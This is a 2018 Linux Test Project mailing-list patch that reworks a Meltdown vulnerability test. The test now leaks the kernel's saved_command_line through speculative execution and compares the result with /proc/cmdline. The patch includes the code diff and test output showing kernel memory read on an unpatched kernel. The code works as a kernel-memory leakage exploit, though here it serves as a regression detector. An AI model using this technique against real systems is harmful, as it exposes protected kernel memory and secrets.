[LTP] [PATCH] cve/meltdown: read *saved_command_line

Jan Stancek jstancek@redhat.com
Wed Jun 20 13:51:58 CEST 2018


After commit 8c06c7740d19 ("x86/pti: Leave kernel text global for !PCID"),
kernel can now map all of kernel text into the user page tables.
So, read of "linux_proc_banner" can succeed and report a false positive.

This patch changes the test to read value of "saved_command_line"
pointer and then also memory pointed to by it. And compares result
(first 32 bytes) to /proc/cmdline. saved_command_line string is
allocated dynamically and falls outside of (_text, _end) area:
  crash> p/x _text
  $2 = 0xffffffff81000000 <startup_64>
  crash> p/x _end
  $3 = 0xffffffff82411000
  crash> p/x &saved_command_line
  $4 = 0xffffffff81cf3008
  crash> p/x saved_command_line
  $5 = 0xffff88007ff55100
so test should work on kernels with and without the patch.

Signed-off-by: Jan Stancek <jstancek@redhat.com>
---
 testcases/cve/meltdown.c | 64 ++++++++++++++++++++++++++++++++++++------------
 1 file changed, 48 insertions(+), 16 deletions(-)

1. older kernel: 3.10.0-693.el7.x86_64
# ./meltdown 
tst_test.c:1015: INFO: Timeout per run is 0h 05m 00s
meltdown.c:259: INFO: access time: cached = 61, uncached = 501, threshold = 174
meltdown.c:309: INFO: &saved_command_line == 0xffffffff81cf3008
meltdown.c:342: INFO: read ffffffff81cf3008 = 0x00  
meltdown.c:342: INFO: read ffffffff81cf3009 = 0x51 Q
meltdown.c:342: INFO: read ffffffff81cf300a = 0xf5  
meltdown.c:342: INFO: read ffffffff81cf300b = 0x7f  
meltdown.c:342: INFO: read ffffffff81cf300c = 0x00  
meltdown.c:342: INFO: read ffffffff81cf300d = 0x88  
meltdown.c:342: INFO: read ffffffff81cf300e = 0xff  
meltdown.c:342: INFO: read ffffffff81cf300f = 0xff  
meltdown.c:350: INFO: save_command_line: 0xffff88007ff55100
meltdown.c:362: INFO: read ffff88007ff55100 = 0x42 B | expected 0x42 | match: 1
meltdown.c:362: INFO: read ffff88007ff55101 = 0x4f O | expected 0x4f | match: 1
meltdown.c:362: INFO: read ffff88007ff55102 = 0x4f O | expected 0x4f | match: 1
meltdown.c:362: INFO: read ffff88007ff55103 = 0x54 T | expected 0x54 | match: 1
meltdown.c:362: INFO: read ffff88007ff55104 = 0x5f _ | expected 0x5f | match: 1
meltdown.c:362: INFO: read ffff88007ff55105 = 0x49 I | expected 0x49 | match: 1
meltdown.c:362: INFO: read ffff88007ff55106 = 0x4d M | expected 0x4d | match: 1
meltdown.c:362: INFO: read ffff88007ff55107 = 0x41 A | expected 0x41 | match: 1
meltdown.c:362: INFO: read ffff88007ff55108 = 0x47 G | expected 0x47 | match: 1
meltdown.c:362: INFO: read ffff88007ff55109 = 0x45 E | expected 0x45 | match: 1
meltdown.c:362: INFO: read ffff88007ff5510a = 0x3d = | expected 0x3d | match: 1
meltdown.c:362: INFO: read ffff88007ff5510b = 0x2f / | expected 0x2f | match: 1
meltdown.c:362: INFO: read ffff88007ff5510c = 0x76 v | expected 0x76 | match: 1
meltdown.c:362: INFO: read ffff88007ff5510d = 0x6d m | expected 0x6d | match: 1
meltdown.c:362: INFO: read ffff88007ff5510e = 0x6c l | expected 0x6c | match: 1
meltdown.c:362: INFO: read ffff88007ff5510f = 0x69 i | expected 0x69 | match: 1
meltdown.c:362: INFO: read ffff88007ff55110 = 0x6e n | expected 0x6e | match: 1
meltdown.c:362: INFO: read ffff88007ff55111 = 0x75 u | expected 0x75 | match: 1
meltdown.c:362: INFO: read ffff88007ff55112 = 0x7a z | expected 0x7a | match: 1
meltdown.c:362: INFO: read ffff88007ff55113 = 0x2d - | expected 0x2d | match: 1
meltdown.c:362: INFO: read ffff88007ff55114 = 0x33 3 | expected 0x33 | match: 1
meltdown.c:362: INFO: read ffff88007ff55115 = 0x2e . | expected 0x2e | match: 1
meltdown.c:362: INFO: read ffff88007ff55116 = 0x31 1 | expected 0x31 | match: 1
meltdown.c:362: INFO: read ffff88007ff55117 = 0x30 0 | expected 0x30 | match: 1
meltdown.c:362: INFO: read ffff88007ff55118 = 0x2e . | expected 0x2e | match: 1
meltdown.c:362: INFO: read ffff88007ff55119 = 0x30 0 | expected 0x30 | match: 1
meltdown.c:362: INFO: read ffff88007ff5511a = 0x2d - | expected 0x2d | match: 1
meltdown.c:362: INFO: read ffff88007ff5511b = 0x36 6 | expected 0x36 | match: 1
meltdown.c:362: INFO: read ffff88007ff5511c = 0x39 9 | expected 0x39 | match: 1
meltdown.c:362: INFO: read ffff88007ff5511d = 0x33 3 | expected 0x33 | match: 1
meltdown.c:362: INFO: read ffff88007ff5511e = 0x2e . | expected 0x2e | match: 1
meltdown.c:362: INFO: read ffff88007ff5511f = 0x65 e | expected 0x65 | match: 1
meltdown.c:373: FAIL: I was able to read your kernel memory!!!
meltdown.c:376: INFO: score(matched/all): 32 / 32

2. recent upstream kernel: 4.17+
# ./meltdown 
tst_test.c:1015: INFO: Timeout per run is 0h 05m 00s
meltdown.c:259: INFO: access time: cached = 49, uncached = 332, threshold = 127
meltdown.c:309: INFO: &saved_command_line == 0xffffffffaa993008
meltdown.c:342: INFO: read ffffffffaa993008 = 0x00  
meltdown.c:342: INFO: read ffffffffaa993009 = 0x00  
meltdown.c:342: INFO: read ffffffffaa99300a = 0x00  
meltdown.c:342: INFO: read ffffffffaa99300b = 0x00  
meltdown.c:342: INFO: read ffffffffaa99300c = 0x00  
meltdown.c:342: INFO: read ffffffffaa99300d = 0x00  
meltdown.c:342: INFO: read ffffffffaa99300e = 0x00  
meltdown.c:342: INFO: read ffffffffaa99300f = 0x00  
meltdown.c:350: INFO: save_command_line: 0x0
meltdown.c:375: PASS: I was not able to read your kernel memory
meltdown.c:376: INFO: score(matched/all): 0 / 32


diff --git a/testcases/cve/meltdown.c b/testcases/cve/meltdown.c
index dce84a0c316b..a53ea9b8e533 100644
--- a/testcases/cve/meltdown.c
+++ b/testcases/cve/meltdown.c
@@ -189,7 +189,7 @@ readbit(int fd, unsigned long addr, char bit)
 	for (i = 0; i < CYCLES; i++) {
 		ret = pread(fd, buf, sizeof(buf), 0);
 		if (ret < 0)
-			tst_res(TBROK | TERRNO, "can't read /proc/version");
+			tst_res(TBROK | TERRNO, "can't read fd");
 
 		clflush_target();
 
@@ -298,17 +298,17 @@ find_kernel_symbol(const char *name)
 	return addr;
 }
 
-unsigned long linux_proc_banner_addr;
-int banner_fd;
+static unsigned long saved_cmdline_addr;
+static int spec_fd;
 
 static void setup(void)
 {
 	set_cache_hit_threshold();
 
-	linux_proc_banner_addr = find_kernel_symbol("linux_proc_banner");
-	tst_res(TINFO, "linux_proc_banner is at %lx", linux_proc_banner_addr);
+	saved_cmdline_addr = find_kernel_symbol("saved_command_line");
+	tst_res(TINFO, "&saved_command_line == 0x%lx", saved_cmdline_addr);
 
-	banner_fd = SAFE_OPEN("/proc/version", O_RDONLY);
+	spec_fd = SAFE_OPEN("/proc/cmdline", O_RDONLY);
 
 	memset(target_array, 1, sizeof(target_array));
 
@@ -316,37 +316,69 @@ static void setup(void)
 		tst_res(TBROK | TERRNO, "set_signal");
 }
 
+#define READ_SIZE 32
+
 static void run(void)
 {
-	unsigned int i, score, ret;
-	static char expected[] = "%s version %s";
-	static char read[32];
-	unsigned long addr = linux_proc_banner_addr;
-	unsigned long size = sizeof(expected) - 1;
-
+	unsigned int i, score = 0, ret;
+	unsigned long addr;
+	unsigned long size;
+	char read[READ_SIZE] = { 0 };
+	char expected[READ_SIZE] = { 0 };
+	int expected_len;
+
+	expected_len = pread(spec_fd, expected, sizeof(expected), 0);
+	if (expected_len < 0)
+		tst_res(TBROK | TERRNO, "can't read test fd");
+
+	/* read address of saved_cmdline_addr */
+	addr = saved_cmdline_addr;
+	size = sizeof(addr);
 	for (i = 0; i < size; i++) {
-		ret = readbyte(banner_fd, addr);
+		ret = readbyte(spec_fd, addr);
 
 		read[i] = ret;
-		tst_res(TINFO, "read %lx = 0x%x %c", addr, ret,
+		tst_res(TINFO, "read %lx = 0x%02x %c", addr, ret,
 			isprint(ret) ? ret : ' ');
 
 		addr++;
 	}
 
-	for (score = 0, i = 0; i < size; i++)
+	/* read value pointed to by saved_cmdline_addr */
+	memcpy(&addr, read, sizeof(addr));
+	memset(read, 0, sizeof(read));
+	tst_res(TINFO, "save_command_line: 0x%lx", addr);
+	size = expected_len;
+
+	if (!addr)
+		goto done;
+
+	for (i = 0; i < size; i++) {
+		ret = readbyte(spec_fd, addr);
+
+		read[i] = ret;
+		tst_res(TINFO, "read %lx = 0x%02x %c | expected 0x%02x |"
+			" match: %d", addr, ret, isprint(ret) ? ret : ' ',
+			expected[i], read[i] == expected[i]);
+
+		addr++;
+	}
+
+	for (i = 0; i < size; i++)
 		if (expected[i] == read[i])
 			score++;
 
+done:
 	if (score > size / 2)
 		tst_res(TFAIL, "I was able to read your kernel memory!!!");
 	else
 		tst_res(TPASS, "I was not able to read your kernel memory");
+	tst_res(TINFO, "score(matched/all): %u / %lu", score, size);
 }
 
 static void cleanup(void)
 {
-	SAFE_CLOSE(banner_fd);
+	SAFE_CLOSE(spec_fd);
 }
 
 static struct tst_test test = {
-- 
1.8.3.1



More information about the ltp mailing list